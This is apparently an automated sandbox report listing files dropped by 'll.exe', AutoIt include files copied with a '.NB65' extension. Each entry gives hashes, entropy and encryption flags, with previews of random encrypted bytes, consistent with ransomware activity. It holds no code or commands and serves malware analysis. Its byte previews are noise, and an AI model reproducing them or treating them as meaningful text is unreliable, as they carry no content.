SHA-512:06731E0E3CD6AE66EDCE5D49D7F70FCC61C6DDD5005177976E04A6CAC3124A6A69907E75A9556B64CC7948627EA9105E7B041F11672E5396F32ED91B84693E59
Malicious:false
Preview:..K.;K....EA....P;.....|...%...Sm.X.M-...Iy.y(..........w"JBnzZ2...^^.....Em..^./.....$..W........>.H84/O..m.I..1A.`yHK...H...eL..R%.!&R..&.l.Z...U.j.Zw..9..G5.v$../.Q.9.5...Q..a...6...,g..s..p..&...?.W.:.'l.ap1....(<?.!h.R.@K..GN./.1...y............".E..4J.Y.6j..s.IO..3Z...G...)hG ...6........).9.....dir..4L.....|#|.G..."r..;4hT.".r...!..@...D...]}F*s8...I.>..e ...i..{s....q.\....fF.=..<..Y..C...H.(!...L..........O..HlF.0.g.B...s.........B......r....<..X..{..?A..2.2Z.....j......D.H..k..)W.(...$......Z%m.........[.H^...6..*.$8.>}...|....n..3p..g..q.n.:......&..+.H....Eb.1..._.N....M&....P.$...(^.,.g..i...K..6v.w.+.Q..c..t....o..s.....X....9s..E..f..A.@...A:. J..Jw{\V?...9R..=p.Ob.)%.`...;......2>m..g......Cn.~+.\:o>.....la.F:'.....!.8..Q1B.a>...../%.bP...>tDA.QG..V......A.9.=vl./.ND.p...$.*..}!T>...f=.......x..q..gv...x..M......o...E-.Lj...P.M....d.b.......s...3oJLr./..OTjW......Q.......l!...S....z{........A.3..'.9..c(..o......

C:\Program Files (x86)\autoit3\Include\FrameConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2602
Entropy (8bit):7.914640467176862
Encrypted:false
SSDEEP:
MD5:D0FD5B154FBD8CEB38C6A0B352405600
SHA1:5C8622D416DF7AE9FFB53A6DAFC74507B90ADB4A
SHA-256:2CF638ED9C6C3BA1A0C70AC7CB0F99BDC6EB2A8FAEDF6C020FA4E9095AEF6A26
SHA-512:DBC613329F5E527D5D1A7B95B2811EDCCA25B8452B657AA0ABA6BF69F92CF34BAE89DB46ECD9128E79B53431CFEA2922E540FC4B54F09FEF63231299D124D6FC
Malicious:false
Preview:.8.!..M....5.$V..j..H..0T.....=..q.......>G.VJ<..M....+.-....C.t..Ksc...+...W+...p\..s.f..........>.o._...X[.dM...n. .x.>H.8`..e..t(.j.z55s.J.?Ax....L..~.M..>u{<#..4.{.....l~}.3....^......yT.*o.>......QbAK..l..r...-.=.'.....'qox.'..iwC_........P..o.x<.C=..|.wR......3.(..kc..90..h.Ic.<n..2.?.:..JN......Z...M .-..z..L.cl!...B.Q...|3..a.V.}....E.Y...o../.qV8&..3....'a.L.....V.(v:M?....'..wOW.s....r\7.5..Rcm..5..#r.q."k.f...r.T..OF.Eb..].Um.....]....}.O.n\..u..R...I...6..k0r8.....f..{.9.......-k...0.Cn..d.5.].ww....z..2"'.....VR5..k^>Z.O...~......_..*.M$BC.....p._..ok.,h..J>.0.....2..Cx....MJ...p....:.N....)..9..q...Z+...G~.y.n...JxN..Qi.[.l..d....,..`\i...oPf.B.eD.|Q)..9.n.m..p...6Y.....l<r..;....%{.!.r.1,`..qL.2..^r....y...;c.......HKS..7...@....:..T.......&... ....f....^S.x..JZ..T.}.j.m.`S....Y/.....:..q...{,=....l....2'F...ak.....%.*...(....-..a..1......5.>...*...hd..g..b.0.0..)V..O.-.J4._.l.......Z......9h.3.....&.4D.I..u

C:\Program Files (x86)\autoit3\Include\GDIPlus.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):305355
Entropy (8bit):7.999373425297156
Encrypted:true
SSDEEP:
MD5:E0FD1FCEDF7067AE8EB11B0C80008962
SHA1:698BFB4C8476C86022590789EC069C04A471222C
SHA-256:A136028900A3DF127D615E7908FE78A1BCCB8DA2531063BCC538FC05F8811A12
SHA-512:2E519CF800D855386C93465BFAD4DFDB20DACF2455EBCCF01B331C25291FAE21A30C214E7C671C40C991095B10DE08EAC7C4D7BAD739A2457D733EF6CC8E138F
Malicious:true
Preview:% ....Y(L.+..u....0.[.o.c.1..a.=HV.......Ke..E..ybb..4.'.Y!x.....Y#.Q..paIdW..-J..]i......MF..,...b..1#.y..VQ.1Y.I.......1...>%...A..)>?......+..9..$..s...i....>.Q.......s..Kl_../...|...`.`F.Hws.m:B+.,.2..4.:....u........48'.......8.i..\Q..H5..H.w.L;.|.B...o..dV..#..e..w..4..n...........d.}..4zc...Us{.H.M.........5.5>.#.k......c....v...<..o.e"..8.#^.P$.[!........<.2...Q.+.R. .[&..M..\.@......&XD.....'.g.....h.....M.._..6t....;_......*.......p..u......C....[<..A..a..yKc#m#.LO......Up..wc..c..#.sY.9.j.WiT..?3K.....`:\5n...&.r........#fj...h...~..g..+N..,........g....1...]}Sz.L..&K.....gz..$.%.N.Z.b..\bI.o.:....1^b...Ce G.zn.z..L@.R...i....iX7L.....YJz....A.V...._...wI.;.rO.#.....g..;.O.+W:..X.5P...e....Wgq4q.*-.....'......!.'.\._....e.9Aj.L..%H...r.|.:..5.cV.{.....h...%.....J}g.E..8....^8.$5Wm`l.HpP.o....N|.....:......\iviA.S,....qvz..6....&<.....^..%...<../.Tn...YN.k4.{`..x]q.E...H.........).8l..x..z..>...kV.Te..Q_...qJ.....

C:\Program Files (x86)\autoit3\Include\GDIPlusConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):28567
Entropy (8bit):7.99413675061482
Encrypted:true
SSDEEP:
MD5:3CDE33BA90DBA4ECF734F3E8E80DCC60
SHA1:045A46AA2E6EC5AD86437BF671A8DA160530C586
SHA-256:BAE18C547AFA849040B8827F67256F76F23D89C1D0A3026D49372113B1FCB3F8
SHA-512:F823D2CC9ACB01A441FF6B573FEB37D6DD57B026A03FBD282F62422C97AAD19AA389D8CD2F03114D4BBD0ED07AA85E5FDC3BB77A14FD6469799FACC2C5603935
Malicious:true
Preview:}.^".._.......J......L.S.....M4...H.F2.|.!...O.X..~....rpp.....;.H...Y F.L.k......$".... .t...2....;..H....J..:.).N..(....9.......[.).;..A.}.o....P.G..q$I..O... ItfM.......r....S:...w.n...QY.......*....8..r..c`............l...*.JnZ@..[...Nk.AQ.;s%.......y..?...m..6.K..7h...&.jW.M................R.0...c.V......1..l..._....sd..2#o...g1Z.<".[..Z....._J.;>..pL...o.:...........b.Y.....u...{.....of ...e.\..|o...t.....abB.r.Zd......t.C.F..s.5..^..8..L..r.../M+..e.W.I{~.o5....?.R-3.'...YZ..L3.t.rG/.{.hSh....2N...jd`C......\.......g......3.pm..E0..^...<..u.O....c..&....S.g....gP..X.......K..*......(o6....7..;.....>9o..|...!. ..v...n.J..n.....N....>;d...l=....r.S......4..] .&8f.F.......f.q..b..89.ZG.{...S......<..........N.g3[i.:x4..G......BO.....p...."&....*7.....p........0./..%......jct%..+..EH..g.I..{R...Hk.UZ.J..*.hP.D.5v.oZ..&..o..EY{C.9...z...N.#.j..Y..........?...e.....a}...n_lLl.Q.Q.kq...7Rs.t..-...>..!J....,..>8..X....L...S.:..

C:\Program Files (x86)\autoit3\Include\GUIConstants.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:DOS executable (COM, 0x8C-variant)
Category:dropped
Size (bytes):1543
Entropy (8bit):7.876773266850266
Encrypted:false
SSDEEP:
MD5:3587BAE170D009597D2B57E575EB233F
SHA1:FB15F189DF1C2F0191FBE6A3D839939D595999E9
SHA-256:DB253364E3B1E72EA95F90DF932A577CB07C3DD4CCD1FD0B762EB5CD2A1FF744
SHA-512:3A5FF3AEFD4D4E9691304A973B46EE57D8F6D3D9B9313F72D2CC7DDC26AE7216F60F474E55ABA15F22655ACC633EC28F4A73FA09B82A63CCE7164F23C6B1793E
Malicious:false
Preview:.q..ID....CR.X...M.0.S...k..{'>.M7..5..T...Q.).....g..C.).o.^.u..."L..Z..@.hv..!....Lq....F.<Ft...\..Q..".,6"...a~h.....|FH:{.......6k..U.Ip..<MG=..t-../_.t..d*9...>#.v.......*u......%....P'.q..L.7....>35.mw...D:_*.f.j.w..._..R .j..t.7..7X.5q..7.......K...&. ...1.A.a.|....p...0m..%..\.........&..|....nLwA...+.$ika.A.=._*..........[E.HT.iP..X......n.ca..k..-;y.$....:Jh.......C."1..(<..2.j.w.:...gU....O..'.,...]v..m..l.a.S++.q...rI..X.4?....t;Yv.*...Hf....-..&..ss.~Q.j...wr.T..(.@.~].".'.(...DO.l.?,.[..;..W..a.&3...m.YS._6.f...b.}....~.X....;9.*6A...?.......a...?..z....SY..Yk;...AZ......_]`U.....\hO.3.......5..j...t.e...&.....(..n.....g1.7.1@.I..A.2.3^0/....W)L$.";.....Cn."9.*@.b?9j]..H.|..hl./.T6.WK...z./.u!...H....VP....HmM....,..w....=..V..!...;'yA[`.z.f...o.5...R..KinT.D.q.=....._.@.7.SUO-......|.........(..SY.Zb.eg......k1....QUj.....k]..D.A.S...q.9 ...tj]m!..gA...0}.)...#.1-B.b...n>..rw-x .39i..n...F..c....ua.;...'.T..

C:\Program Files (x86)\autoit3\Include\GUIConstantsEx.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):4583
Entropy (8bit):7.953656223092083
Encrypted:false
SSDEEP:
MD5:ECB7E58AD3F65FF3FCB25F5A1A15C537
SHA1:9DADD98C8B0C6E0C91F56A918B1556E93C707F6D
SHA-256:D77724AA26D9CFCDFB99B0D049F76D8558E4FF2FAC8DDB525F7E5ED3ABC43F3E
SHA-512:E33045D3D180EFDFF9BC74F3A08FC449B066FECE12895E99FA7D8A4952EADBBA7F3D6867022915F5D7FD15B2687C36A2B3ECEA40444CE218ABDBC79B3B83523B
Malicious:false
Preview:N....6.O.wg>W/0.<9..w.w9..BL$..yc....2.o.S.m.u..@...V..,xt..+Q.?(.H.O...O.m..K....2|.8yi....t.5.. .9']..pe.........@.x2R../..xX.P..)..mR.L...i?.I.*.U"...z....,{ZzP..xQ.........F)o...D-.......[&<6.r&...0...r......<[.g.*...t........e...;.?..'{...W...;....V......Fkp.....k......T.o..U\..jL.vDi.`...#....C......}"..?.........)...p.O.UF.>...JUc._.\j1Fk...yj....?.{......#....t&.o..I.s.U..&..v;......A..2G..0+3a..*.7..t.;..x.......}....|..M...7I..w.....A.....4.?MN_;K.n.l...tK...#..N..f...3.r.xqt.u..P.8rty<..v..+hW...Ys.K......E...E...9.....W4. ....~6.`:d...(...E...!.....:[I...5P.^..M}.M...f/kN..3.C..D&........8......'Dk.W,pK......?.&..,t..`...........1k....J..!9W>..*V.8g.|..A........W..8./_.VW.z_.u.ev.n..$.._IR...,8..0......Bf..'.v.y0.....0..p....E.`&7"..<.M...fh..5Q$;.&4..Z...J.......l. .a`RK.2..3.W..N..o...`.#,.Fz4.j..#..E.{W......"...AZ.....4..A8..Q.}.\.b.}.....kh....8`.Wch[A#}...kHy...;aF.f..n;...r.z.FW..b...|.$.+Z..x.&[....6F.........!

C:\Program Files (x86)\autoit3\Include\GuiAVI.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):11784
Entropy (8bit):7.983910994194246
Encrypted:false
SSDEEP:
MD5:8B67D3F95A01BB86F2FF63CAC2D1C8B7
SHA1:3F3030214B94A50E9E93DE5CFA8E6EECB684487F
SHA-256:5CB00192976FC1B2CBB5E927AAE0820D6CCDA8B610206EFAC906B93E32526282
SHA-512:B64A1B9E3EB3C5530CAFAADE50CA145BF864ACA0E6141DACE1770F1ABF6AEDFA47A75515A33DAB223A527251DD7DA683D5A61F1C2A93B9D6E4452E746F2F98A7
Malicious:false
Preview:.o.i...."N.z.pD.Q.Tm..8...I+....R....l...Qf..na$}.*zt>..9...'...........\...9+.......h...7Vnkj..k.R\....X1.-..e;Y.....=;.$r}[.....@.U.%....a...v.3..+.......kv%.c..?dTw....."#+,..d.....|.....t..O...D..3...NOk....Z...Gy.A..f.z..{..{t..J...!5..s........w_<4PM...:....J.D.F..-..@....|X.I.%.w.jO..S..nF.K...G......<....S;.,.".2..[..Q,-/..Q...R,...q|o.../.4.....?...8..<E....\J7.sm..y.......N..V[d.c1.8..T.Wt......") ..c...../{..?{.3g}..5Z.......Y.y...O.]7........f.%....p..c.xk...5......cJ.4. ..*V6...`.d.Q?X4W..d..z....!..a......`.$.)a7.I......lX..Z..u.F+...O.q3...K$D...8 ..\....3F.v3..8...{.*./.Ds.'....!O....e..../";*T...d..9zmu.$nH@0).....Td.a.<rbv;l.lV....#1.oU+.o....y.R...Y9d....l..).C A`.YF<...`.J.....C....o.....|....AO.. ..m\...!.d........?D,..&......V7...EM....-...b.;.......8.|.K.....%'.)'{!.6R. z..8..(...#xU.1......m.W.d.bM....3...I..I8 .S.X.....xyM./.....&.EO.X...*$}[[..<...cM.......2....."..b..G..._...d....:.....x8.z-...I-....Q. ..h..

C:\Program Files (x86)\autoit3\Include\GuiButton.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):29027
Entropy (8bit):7.99283329949999
Encrypted:true
SSDEEP:
MD5:B63301C9A7787B12AD37C6C7298373E3
SHA1:1D601A9AAF61BCF000FDBD041F884BDF6BD20941
SHA-256:3BC7FD6E84D1D466A9578AE2272B637F162F22E9B3F62115928FF1B33FDE3FA4
SHA-512:E47FC96F505E5EA0186BBDFF3F44DFEFBC9586EB1B00627CE5F4574C0A977C4FD45511CFB191C857C6D03253264CAA8E48414CD4F43D67F94A6CB354E65065B7
Malicious:true
Preview:y.u....p".[...=-#.d._.O...e.l......q...~.a.^.....n........y....Y..nv.F.._......8:.....l7.NO0...A-.z.$!u$Z.......E...W_..<.}l..Wq[#T..SVm.8o...rm.hE.!S,...s...HU.=.O....y........'rn=...'.._!.....,?.?Y.F......aR..a7z.: .....^...1.?.. [..'iJ..m.V.l3...u...;..U....@a.....j...f../:..B..F..s..QtE...l....y{....5P<T.P;..m......M....F..HX....%ZE(..8...C.......z..T.9j.B...ORv lrH.n.I..yH..$....@~.k[.....U..K.iC...........ugU...Jzn..7.`..2qH....q4,.8Ou.k/..JJ...<._.....>.........M.q..6..{.../..0[@.....Mqa..O..".*.`.2...e*k.TA.0i;m..........W..c.%H......c.%a<..`..*C.E....wY...b....)..ffO.H....4J...mQl........f..;G..(Y.M~.p.0.l...7........i^...^...'.[.B...p~Y.#'.'.b...*.&4.a...G\u..%V....$....Sc....s~..N...B.A....#..#.q.r 7..)..q......p..~.6...~.2.... 0...G.Y..p$(.....iB...6.u...+~..:..`......X.......,...4d........qm.0c.._...Ae..+..2M....0.p...-..TL.s.]Y..&.....H.z..P..8@.,6....?.V.....k.5.q@......]..j......^..F......E.....~H0..7......2.06.#..e..i.

C:\Program Files (x86)\autoit3\Include\GuiComboBox.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):42159
Entropy (8bit):7.995998631956607
Encrypted:true
SSDEEP:
MD5:FA5098AF52EF4428507495D0B24C6BB0
SHA1:DDAB3EA0598FFD810FE7FC4EE43ACF6573D5A00E
SHA-256:846655A7BCE505EF2F4F28587E09BEDCEC26608EBC67CDF1638199FA6E226CFB
SHA-512:3CC6EAE77842173CD6C3464083CED573193DE9EA02804F1E67D7EEEEC17B769CD439239E77F0E04662D597DB4CD452E29CC8A1C35C253447BAE6782EDD189794
Malicious:true
Preview:...XU.. .....#..n..[...y..'..NQ.a+..0..]..Z.Z..$....=..e.Y.n...C...t...`..Y.Y.3tO....(.....,..9...........z6.WtM.~x(H.4'{=.P...c>..r/...hG.v.F.?.......@o.< ...v.j.)...(.B.vI..$k$..":D..5..^.V._s.i~.I..p.~..R...E....Q..Z....:.,/W:|.r....B...B.h..Q..HN....n.+/.].~..l.*..........\.7.q...V....X.J....e5w.....TA..)...#J.Q[.cKn#~.J..!.n....h.#Y......<.Z9[.``...pN.z.U.,0|..Z...5].ES....r/..T..#.1Ij.....3\z.n-...e.6+.gG.#.&xt.\h.../e..h...........#u*D...9._....%.....^.s.+....r.P.+.p.ox..s*.......(i{.....[l.zo%5....@^0..>...J....U....,x.0.....h^.f..).e....#.....F}.2.!..y..T.(....j;..#...."3.."Q....59..\...F.....0...........Y...#d.\K..(.!N..~....E...n..Ks......3.T..............#...beIz.7.u..V....(.....g..`@....Fx......eF.x..K$[.......[q<.Q.-`...h..}i....;........ ...M3..". ...:B..S..d..]...!w.....w...4...y.\/A....(BdY.e.*.%V0...s....j....P N.G.....].yf3..i5.-.`....L.L}.&.....Ai.....u.c......$._f..n.5P.."k$..D.FM....}.9.."K......g._O:U.,.o~....9.

C:\Program Files (x86)\autoit3\Include\GuiComboBoxEx.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):49871
Entropy (8bit):7.996168953289962
Encrypted:true
SSDEEP:
MD5:67492674AF55A011E6C7088BEA525C59
SHA1:D95BCCB74E236EE187508A9A780EDF10517ACFC8
SHA-256:C9A11E76FB119BCA6577BC85F0F0E8C24F2D2DB581BE4E9DBFA0DCD118D73790
SHA-512:38D625309BF0EAA3DBE5E5F68070849B78D60A6366F3ACD9CD53463A6C304711CC2045A103EE74446B06B4179DF71031477CA56921619C6C884C981777B6DF4C
Malicious:true
Preview:i....V|..D....K(...N1..'.d.(...e.YzQ...ZA,8l^..,....|..D<.... :...Zj-.....2l.Iq.?..v...Q..+N.8...v............l...;r.D..H.}........&.[.-..N.6..r7......h.n?..`^v6.jy.Y.....w.......ph..(.cC{N|.asSU. .3...|..t.c.h>O......m.m....x......o.Y8...3..9&..`.0.........l.,...K-#...;...Y.[~.#..b......7...hqi.O....f.["...>l....[.f...3(MA...C......'.F.%=3..."X..p`........-d&J...|.....!X.6Y..L.3|0...)..M.....RMp.l.H......."...?..%.j..-.....$.d.......].6...it..p......Q.U.XU=P.I...8..7.r]...O./...h...\.u...*q..df,..`..-.Ic..mn...M..K.a..j...i.. .s!io..)...Ev.:.....<...6..UH....W6........V....S...b..e..}C..t3..[.....3.S.&l.....uAR......}..5`_..;.....'..V..*..-*z.+...z}..|.P...n...D........>. ....i<....=.....(w./..Dx<.Bx{()...?...Z.KAF.i...,~wh4}XU.@.Z?.51... ...7m.Y.Oq:..|.N..<....2Z,UB{..4...~G..}2s..%.BW....."16L.?..\......'.:s2.....x%.{.V........v.M.w..`.......UO.077...r-?M.:.:=Y@... .B./.*#X.<n.[....<..........p...A.W...4.c..w.lm..)(3..I.f..].Bj

C:\Program Files (x86)\autoit3\Include\GuiDateTimePicker.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):16077
Entropy (8bit):7.98746055250023
Encrypted:false
SSDEEP:
MD5:E58FF9EF1F8CA4C0560D801A5E240195
SHA1:61D524AC5AC4A7631C4C5F89EC7EDA61CA67E84C
SHA-256:D36A64F77051CDD5C9853666E43B550E799D1C4617C28B7F9FE01DD461CEC041
SHA-512:9F8D57C8C3B80A6F828B0E925A95BD3471270024B46EC7C63A39F79FF129AC8AE1FD53874C3CC8923280C060D1E3ACBA8EC9D80DDF9DB71B9142298FDB5B09AB
Malicious:false
Preview:.zW.U._....s..8"....|...e.u...7..&.1.r.?.D...l.............V.Z..nW...P...%.7..1[. .........8.eIA....j....%$.!.:.z.....4./O..L.n.............0..].....d..?.........g.h...$./.......<w...-5....&..Ko.E._~.>j.R....y..'=..bW..vD.I..(.u.(..:m.b....C. .....x..#.y..<...m'[85P...uz..(s...]g=..g;]'...nh.0."4..8.V.A.f..(y...$...[h^m......$......~oFVQ...J2.I..=.........w3.o.L)....x..}jr&.....;.O...D..7........=.:..r.x.g..K.a.b...e5.JS.]V,.:..(..Xd..a...`/...Y..kX..f..k...K..4.R..1.y....6r..j.jl....q..d.l...Y..{x=../...E.Ze7.d.....]`5h..u..at.g...H.....Q..i...{.;!=.....^u.........m..c.y.qI^......u..&%..E....J....l..... . .>.._..;....{.....K.&.7.I2...z....h\.n....b.~..t#1Q.....Z...V...L#-.2..."_w.1;..E(..<].Y...w....i.]..'...I.!.j.".u...dpp/*.%.......<b)z..b5.^..1...[...J.(iO..*......8...UC. .....j.>.6......#...=R".\..i..V.@h|6..$p..o...R-;...O..o..8/.I?.#.|..J.....Ci..zW0.A.!9.`.<..H-..T.].).u;.!0Y..{ .$`...._.._8>.[@.t.#v.|..G.{z.$.S...Yv.Y......

C:\Program Files (x86)\autoit3\Include\GuiEdit.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):54569
Entropy (8bit):7.996710764040897
Encrypted:true
SSDEEP:
MD5:FC4834502128F4C8DBAE9A208360BFBF
SHA1:CB276EB25F67B39F9072EB38D895D7F256CAA393
SHA-256:6CF1CEE28AEBCB34AAE7E1AA1C305E142ED02A9535C2FE9D8137ADCDF867C739
SHA-512:C319B8B906D4FA69F10B52E779EAA3DE7D77743288639111037ECE79A2D439B4017718D891B88BC5F4B26CAC934F8009837F8601E43CFF9C6BA19C458DFCBAD1
Malicious:true
Preview:.p.o.R.!H...s)4...0.s.Rr.M..[..+.........Q..ry..oXVo.....x..k.>`......e........y.([....e|..........@L...7....{".....Jvj.@Mx....j1E...p\....7......"n.Q.j...2L.w.C..n...02X.....d....._.....<.S^cu.._ ..C..._qp.B....C*k.0.......H....(.B..Nk..>...?R.J4.`.L......:.t|!...mr...O..a|..s%...^.s.b.0....OB`.6..f(....LS.....=....Y.......8..Z.._O/........Z...u..8....2D..+V./.....s..4..9.V..n......X.!B..\Gw..m70es.!...>.o.>...n..\..1Z6.6...........He.}h..#a.....4.Q.a^....|..N..z.*.rI.6.......O.F.$[.mUSL.=;.....>.;....|.`.....2i.l^R.v.#......._.[.._.g.Pl.........DY&>........z.v..Y.H,.....P.....XN[...T.....Wt=h...Em........^~.s......H...e.[@..VA*.m..5.7G..[=....."4.y.i-......cNY6n.%`.._..u....46...e....b.6.>.%..7..Q....e..(.VSCHXPO(@B.?......g,6f.......}Lf.......\Y*Nc.....P3v_..:.N.\.y......L)%.@.}..?U.......... {$X.gU,..f..p....?....YW..P.Z...Uo..C.9l.3.`[?K"....&.....\.5..3..e..b....N..9..=mFn%.7t...Nn....z...'.Z.W.,Vj.aU......3l.......0.XI.

C:\Program Files (x86)\autoit3\Include\GuiHeader.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):44839
Entropy (8bit):7.995648546021194
Encrypted:true
SSDEEP:
MD5:0E53E378E26C7F3B15FE8DAC63AD8656
SHA1:941B35F11E524B6D28CE0F77A44BAC7BC824384D
SHA-256:1BA4C5805B50FA0F55AF3147AD0DC42D13D39EB57B6D7F3C3512ADBF1092C3D4
SHA-512:BFB3208DEB1BB26C566D488D6504AD992B288E5CFB7FEDA67A06A94A24BBDEC7B912C266C9570E0166FCFBCF23A44598E41CB6210283FC81CF88F38CA12B05B2
Malicious:true
Preview:.S..Y....z...$S.Il4...(W..}...8a..9...Wg..4;.....7ixE.P...}!m:.Mw.,.a...yt.l.R...Ij.g.e.X.Z.D.K...D..B...R........vN1.V;].f<.dm...tI...`:.....%R...*F.........}nT..y.\N.b."U..b.H..'.3.:Q...C.m.jY....>...y...}y..8X.R%.....2.l...B9.(M[..p.Hk.Ns.......a.Z..#rT..U....I...N..E.h!.~..uq.$7.0.gf.i.i;....0.k!.6n.%.._.....(jS..t.....n.~...~0..I..z-D?......n7.t.OFf..W../Aj...3...^@.._.-...r.>6w.x...H..:...$.....L9._.e..&.".....}x..e.a._...c.'A..<...&..m.....\_N.v*..6Al...'n.v.S.C.-V.U.7......:.:B../f..r..gDY.G..m........N..._..y.,...` ~.6.?5..tf....V{n'.....}..._............dF..|.U.D...(.@V.1.....`,.v].....R.h.../c}tQY.v...H.4Yl.c(.4..P.b.|.Q...D=.....8...c.q.U..#u...B.P....&.%<u.xS.....8......}.G....]I.D:...Z/.Yd.#..^Qz.S...g_X..mX.W..>....."S~R@..&4.|3.D...!..&......Q...T."..!9...p'..G.Qc..[...........=.@...X5.h.;....+...az .%c.......v.O.f...._.]...u..c...o..-...~...B9.Z....*..kL...A@.l..0.......A.F..|.._.B..9?..5..eJ...WyC3.".%.....e.\...

C:\Program Files (x86)\autoit3\Include\GuiIPAddress.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):13303
Entropy (8bit):7.985288840587286
Encrypted:false
SSDEEP:
MD5:E306EB068094710F7E548E836258EBD8
SHA1:C488262979B5BC97D2D757E52CEE30589B5B1DAB
SHA-256:CC89E59F6BF85DCCF6541E9ED1B6C30AB64A325066BF80C35B127FEEDD50CD0B
SHA-512:214E706905699AB92C3145C1D941B15D93E0CA57A6006F0A3854F85BE5385E9C8870A89A8650B09B89B98E53D6C7F62989B3187250E5106E3C25B00BF0112D37
Malicious:false
Preview:I.l..qUc._[.q..........Q..'Uc\n_..+......5.&.;a.h{RP;*...A.-.=h..^.c4c9.4.k...J[.^......(C...6P.k....D+..b>.U.....>.*.=..n..;L.F......E1>.....I...1?.X..xno,..|_......8..dYI..3...{J@%..]n^..<^.g.O...X...N..WXd.Cx.K\H.mL.........3#\..Kx..6?...e.Cv..\.s.s..Nz]....Ep.2b0..+%..c...i.s;..|HxY..^D=#...,.3.....B....Y..<.HC.....$...Y.<I:.F..f....Sh...a......>..6".7@N.i L&...Dv...G.2.Z..hM..;....V..}.z../_...i8y.......'7p..|PV..~..9......vW..{_.J.;s.A...U4y...G._x.:..2.%Y.. 8....[P.U.6..w.vl....iS..>0.?vj.[c.K..d.j......2....D5....JN.I+v....)...Fv........,$Va....(3!.D.{..0..<..].[/...q...f.^.]4W:.....V....ftw:`@.IHk...m..8...&.1.:~.z.:..F.+...k.".A.v6.P.L.....F....%..Qh.Y......w>..1.E...$.@:...>.....k.A..!7..-. ....x....QDD...a..#DC.kt.!..Z(0P=..8...[GH.qMe.?...<1..-...M].$..ai.u.xB.......m?z3~....\...p..$..4^K......c..+1(......_..g.......vUs...........Q.P.{....\.K1!..D]i..x....2....j..Sn...;....r.#.@.......hU#..Qn.%dv.....?Q.,+.C5z.BO

C:\Program Files (x86)\autoit3\Include\GuiImageList.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):32160
Entropy (8bit):7.993841874263243
Encrypted:true
SSDEEP:
MD5:88E7D4AC4AF32AEEBD7FA5E2FC26900E
SHA1:B84FA4150A89269732029C5EC6F7362D11F555BF
SHA-256:E7184EA065CC84EECB6062312326939059C76C329A10AEB2CF923331E755AEBB
SHA-512:450AC8594C66794746340CD8848B401E62B0065B8653442A82A99EBE658795119A46C0B455F4F23D384F910665AD2B2170B377078D9CE0A2404D2EDBDA985548
Malicious:true
Preview:v ..A..n.B".ah.n.`...o.3t1..q5..y.P...<!.Wq}........*/.8).,.o....G.......'>.%bH..S.9...G0u*.p.!.&5.U..5........)..=.4.....&..^.a......p.r...."O.x1T.X.k/...yc..`....\...3L....og'..<.S..y^....|.............y+.8%..j....e......<.D..OW.fr.Z.~F.%[BC.EY5...(^..9[^.X/xC.xN..S.^.-..Y.E..u&.&.N#..S....U;......Fx.XD..\.\._.....Q.8....IZ9.4..F..\..U...Hm..o..S.........ELN....7X.t.k.1...c)...>..s%....B4<D.nX.N.r29..U,cK.?.h.q..%.Wv.].. .4T....0...$.&TQ...~B.JY$.oZ...(9.>.)L.)R....&_0*w,].h....g.7.K.tt.X.y._....1V.O...G...G...c.P..V.S.j...0I...q..U$.)TKk.M.$J.YG.. R.H.....!.J...J.w.\.Tv.a./A...J=....V<.C .W.n..7.......DI.@...Y._.p.. .....I.4.v(....o.....`.%..:...RG.zt.31X..5g..3!..2X.G!..yh(z.{}..a.........!...li.J...o..X!....>.}L....I....%S.....S.5...V.%...0....>....W...z8..gI..t.hd...3nT[/.)d.pCf..+k..4....t).>@jKm&.1.z.%.......Q...HS...f.).G.....C."..._.6..Nqt..\P.m.Y.....wt&..d..H....O[.[.s.&...K..[.W...W..._"...]%4|......Yl.G2._".>.....&B.....x.4F|.6._

C:\Program Files (x86)\autoit3\Include\GuiListBox.au3.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:SysEx File -
Category:dropped
Size (bytes):44624
Entropy (8bit):7.996505870667199
Encrypted:true
SSDEEP:
MD5:91D462D8419F586C5606E42D3FC95F02
SHA1:34773A8AF16138A9BBC74BDCF100E34385EB6E2F
SHA-256:0AA130D6F12FE6BF6F3FBC04CCE613C0F6DA11A4A8B3A3841DA9C46D3B126914
SHA-512:61ABE6855E6D18283E2042473671DF4E908CCD51F6B6C2D6F8077B7E1113C02205493B4C2601471CA1CED284EF862483A8343A82CE63004A183E05A5833FA2BA
Malicious:true
